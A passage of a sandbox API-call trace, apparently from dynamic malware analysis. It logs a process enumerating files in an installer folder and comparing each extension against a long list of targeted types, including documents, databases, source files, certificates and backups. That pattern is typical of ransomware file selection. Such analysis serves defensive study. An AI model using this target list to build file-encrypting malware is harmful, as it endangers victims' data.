[0097.084] lstrlenW (lpString=".mkv") returned 4 [0097.084] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0097.084] lstrlenW (lpString=".mos") returned 4 [0097.084] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".mov") returned 4 [0097.085] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".mp3") returned 4 [0097.085] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".mp4") returned 4 [0097.085] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".mpeg") returned 5 [0097.085] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0097.085] lstrlenW (lpString=".mpg") returned 4 [0097.085] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".mpv") returned 4 [0097.085] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".mrw") returned 4 [0097.085] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".msg") returned 4 [0097.085] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".mxl") returned 4 [0097.085] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".myd") returned 4 [0097.085] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".myi") returned 4 [0097.085] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".nef") returned 4 [0097.085] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".nrw") returned 4 [0097.085] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".obj") returned 4 [0097.085] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0097.085] lstrlenW (lpString=".odb") returned 4 [0097.086] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".odc") returned 4 [0097.086] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".odm") returned 4 [0097.086] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".odp") returned 4 [0097.086] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".ods") returned 4 [0097.086] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".oft") returned 4 [0097.086] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".one") returned 4 [0097.086] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".onepkg") returned 7 [0097.086] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0097.086] lstrlenW (lpString=".onetoc2") returned 8 [0097.086] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0097.086] lstrlenW (lpString=".opt") returned 4 [0097.086] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".oqy") returned 4 [0097.086] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".orf") returned 4 [0097.086] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".p12") returned 4 [0097.086] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".p7b") returned 4 [0097.086] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0097.086] lstrlenW (lpString=".p7c") returned 4 [0097.087] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pam") returned 4 [0097.087] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pbm") returned 4 [0097.087] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pct") returned 4 [0097.087] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pcx") returned 4 [0097.087] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pdd") returned 4 [0097.087] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pdf") returned 4 [0097.087] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pdp") returned 4 [0097.087] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pef") returned 4 [0097.087] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pem") returned 4 [0097.087] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pff") returned 4 [0097.087] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pfm") returned 4 [0097.087] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pfx") returned 4 [0097.087] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".pgm") returned 4 [0097.087] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0097.087] lstrlenW (lpString=".php") returned 4 [0097.088] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0097.088] lstrlenW (lpString=".php3") returned 5 [0097.088] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0097.088] lstrlenW (lpString=".php4") returned 5 [0097.088] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0097.088] lstrlenW (lpString=".php5") returned 5 [0097.088] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0097.088] lstrlenW (lpString=".phtml") returned 6 [0097.088] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0097.088] lstrlenW (lpString=".pict") returned 5 [0097.088] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0097.088] lstrlenW (lpString=".pl") returned 3 [0097.088] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0097.088] lstrlenW (lpString=".pls") returned 4 [0097.088] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0097.088] lstrlenW (lpString=".pm") returned 3 [0097.088] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0097.088] lstrlenW (lpString=".png") returned 4 [0097.088] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0097.088] lstrlenW (lpString=".pnm") returned 4 [0097.088] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0097.088] lstrlenW (lpString=".pot") returned 4 [0097.088] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0097.088] lstrlenW (lpString=".potm") returned 5 [0097.088] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0097.088] lstrlenW (lpString=".potx") returned 5 [0097.088] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0097.088] lstrlenW (lpString=".ppa") returned 4 [0097.089] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".ppam") returned 5 [0097.089] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0097.089] lstrlenW (lpString=".ppm") returned 4 [0097.089] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".pps") returned 4 [0097.089] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".ppsm") returned 5 [0097.089] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0097.089] lstrlenW (lpString=".ppt") returned 4 [0097.089] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".pptm") returned 5 [0097.089] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0097.089] lstrlenW (lpString=".pptx") returned 5 [0097.089] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0097.089] lstrlenW (lpString=".prn") returned 4 [0097.089] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".ps") returned 3 [0097.089] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0097.089] lstrlenW (lpString=".psb") returned 4 [0097.089] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".psd") returned 4 [0097.089] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".pst") returned 4 [0097.089] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".ptx") returned 4 [0097.089] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0097.089] lstrlenW (lpString=".pub") returned 4 [0097.089] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0097.090] lstrlenW (lpString=".pwm") returned 4 [0097.090] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0097.090] lstrlenW (lpString=".pxr") returned 4 [0097.090] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0097.090] lstrlenW (lpString=".py") returned 3 [0097.090] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0097.090] lstrlenW (lpString=".qt") returned 3 [0097.090] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0097.090] lstrlenW (lpString=".r3d") returned 4 [0097.090] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0097.090] lstrlenW (lpString=".raf") returned 4 [0097.090] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0097.090] lstrlenW (lpString=".rar") returned 4 [0097.090] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.090] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.090] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0097.091] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0097.091] FindClose (in: hFindFile=0x3e50300 | out: hFindFile=0x3e50300) returned 1 [0097.091] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0097.091] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0097.091] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0097.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26 [0097.091] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50300 [0097.092] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.092] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.092] lstrlenW (lpString="eula.rtf") returned 8 [0097.092] lstrlenW (lpString=".1cd") returned 4 [0097.092] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.092] lstrlenW (lpString=".3ds") returned 4 [0097.092] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0097.092] lstrlenW (lpString=".3fr") returned 4 [0097.092] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0097.092] lstrlenW (lpString=".3g2") returned 4 [0097.092] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0097.092] lstrlenW (lpString=".3gp") returned 4 [0097.092] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0097.092] lstrlenW (lpString=".7z") returned 3 [0097.092] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.092] lstrlenW (lpString=".accda") returned 6 [0097.092] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0097.092] lstrlenW (lpString=".accdb") returned 6 [0097.092] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0097.093] lstrlenW (lpString=".accdc") returned 6 [0097.093] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0097.093] lstrlenW (lpString=".accde") returned 6 [0097.093] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0097.093] lstrlenW (lpString=".accdt") returned 6 [0097.093] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0097.093] lstrlenW (lpString=".accdw") returned 6 [0097.093] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0097.093] lstrlenW (lpString=".adb") returned 4 [0097.093] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0097.093] lstrlenW (lpString=".adp") returned 4 [0097.093] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0097.093] lstrlenW (lpString=".ai") returned 3 [0097.093] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0097.093] lstrlenW (lpString=".ai3") returned 4 [0097.093] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0097.093] lstrlenW (lpString=".ai4") returned 4 [0097.093] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0097.093] lstrlenW (lpString=".ai5") returned 4 [0097.093] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0097.093] lstrlenW (lpString=".ai6") returned 4 [0097.093] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0097.093] lstrlenW (lpString=".ai7") returned 4 [0097.093] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0097.093] lstrlenW (lpString=".ai8") returned 4 [0097.093] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0097.093] lstrlenW (lpString=".anim") returned 5 [0097.093] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0097.094] lstrlenW (lpString=".arw") returned 4 [0097.094] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".as") returned 3 [0097.094] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0097.094] lstrlenW (lpString=".asa") returned 4 [0097.094] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".asc") returned 4 [0097.094] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".ascx") returned 5 [0097.094] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0097.094] lstrlenW (lpString=".asm") returned 4 [0097.094] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".asmx") returned 5 [0097.094] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0097.094] lstrlenW (lpString=".asp") returned 4 [0097.094] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".aspx") returned 5 [0097.094] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0097.094] lstrlenW (lpString=".asr") returned 4 [0097.094] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".asx") returned 4 [0097.094] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".avi") returned 4 [0097.094] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".avs") returned 4 [0097.094] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0097.094] lstrlenW (lpString=".backup") returned 7 [0097.094] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0097.095] lstrlenW (lpString=".bak") returned 4 [0097.095] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0097.095] lstrlenW (lpString=".bay") returned 4 [0097.095] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0097.095] lstrlenW (lpString=".bd") returned 3 [0097.095] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0097.095] lstrlenW (lpString=".bin") returned 4 [0097.345] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0097.345] lstrlenW (lpString=".bmp") returned 4 [0097.346] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0097.346] lstrlenW (lpString=".bz2") returned 4 [0097.346] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.346] lstrlenW (lpString=".c") returned 2 [0097.346] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0097.346] lstrlenW (lpString=".cdr") returned 4 [0097.346] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0097.346] lstrlenW (lpString=".cer") returned 4 [0097.346] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0097.346] lstrlenW (lpString=".cf") returned 3 [0097.346] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0097.346] lstrlenW (lpString=".cfc") returned 4 [0097.361] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0097.361] lstrlenW (lpString=".cfm") returned 4 [0097.361] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0097.361] lstrlenW (lpString=".cfml") returned 5 [0097.361] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0097.361] lstrlenW (lpString=".cfu") returned 4 [0097.361] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0097.361] lstrlenW (lpString=".chm") returned 4 [0097.361] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".cin") returned 4 [0097.362] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".class") returned 6 [0097.362] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0097.362] lstrlenW (lpString=".clx") returned 4 [0097.362] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".config") returned 7 [0097.362] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0097.362] lstrlenW (lpString=".cpp") returned 4 [0097.362] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".cr2") returned 4 [0097.362] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".crt") returned 4 [0097.362] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".crw") returned 4 [0097.362] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".cs") returned 3 [0097.362] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0097.362] lstrlenW (lpString=".css") returned 4 [0097.362] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".csv") returned 4 [0097.362] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".cub") returned 4 [0097.362] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".dae") returned 4 [0097.362] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".dat") returned 4 [0097.362] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0097.362] lstrlenW (lpString=".db") returned 3 [0097.362] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0097.363] lstrlenW (lpString=".dbf") returned 4 [0097.363] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".dbx") returned 4 [0097.363] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".dc3") returned 4 [0097.363] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".dcm") returned 4 [0097.363] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".dcr") returned 4 [0097.363] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".der") returned 4 [0097.363] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".dib") returned 4 [0097.363] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".dic") returned 4 [0097.363] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".dif") returned 4 [0097.363] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".divx") returned 5 [0097.363] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0097.363] lstrlenW (lpString=".djvu") returned 5 [0097.363] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0097.363] lstrlenW (lpString=".dng") returned 4 [0097.363] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".doc") returned 4 [0097.363] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.363] lstrlenW (lpString=".docm") returned 5 [0097.363] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0097.364] lstrlenW (lpString=".docx") returned 5 [0097.364] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.364] lstrlenW (lpString=".dot") returned 4 [0097.364] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0097.364] lstrlenW (lpString=".dotm") returned 5 [0097.364] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0097.364] lstrlenW (lpString=".dotx") returned 5 [0097.364] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0097.364] lstrlenW (lpString=".dpx") returned 4 [0097.364] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0097.364] lstrlenW (lpString=".dqy") returned 4 [0097.364] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0097.364] lstrlenW (lpString=".dsn") returned 4 [0097.364] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0097.364] lstrlenW (lpString=".dt") returned 3 [0097.364] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0097.364] lstrlenW (lpString=".dtd") returned 4 [0097.364] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0097.364] lstrlenW (lpString=".dwg") returned 4 [0097.364] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0097.364] lstrlenW (lpString=".dwt") returned 4 [0097.364] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0097.364] lstrlenW (lpString=".dx") returned 3 [0097.364] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0097.364] lstrlenW (lpString=".dxf") returned 4 [0097.364] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0097.364] lstrlenW (lpString=".edml") returned 5 [0097.364] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0097.364] lstrlenW (lpString=".efd") returned 4 [0097.365] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".elf") returned 4 [0097.365] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".emf") returned 4 [0097.365] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".emz") returned 4 [0097.365] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".epf") returned 4 [0097.365] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".eps") returned 4 [0097.365] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".epsf") returned 5 [0097.365] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0097.365] lstrlenW (lpString=".epsp") returned 5 [0097.365] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0097.365] lstrlenW (lpString=".erf") returned 4 [0097.365] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".exr") returned 4 [0097.365] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".f4v") returned 4 [0097.365] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".fido") returned 5 [0097.365] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0097.365] lstrlenW (lpString=".flm") returned 4 [0097.365] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".flv") returned 4 [0097.365] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0097.365] lstrlenW (lpString=".frm") returned 4 [0097.366] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0097.366] lstrlenW (lpString=".fxg") returned 4 [0097.366] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned 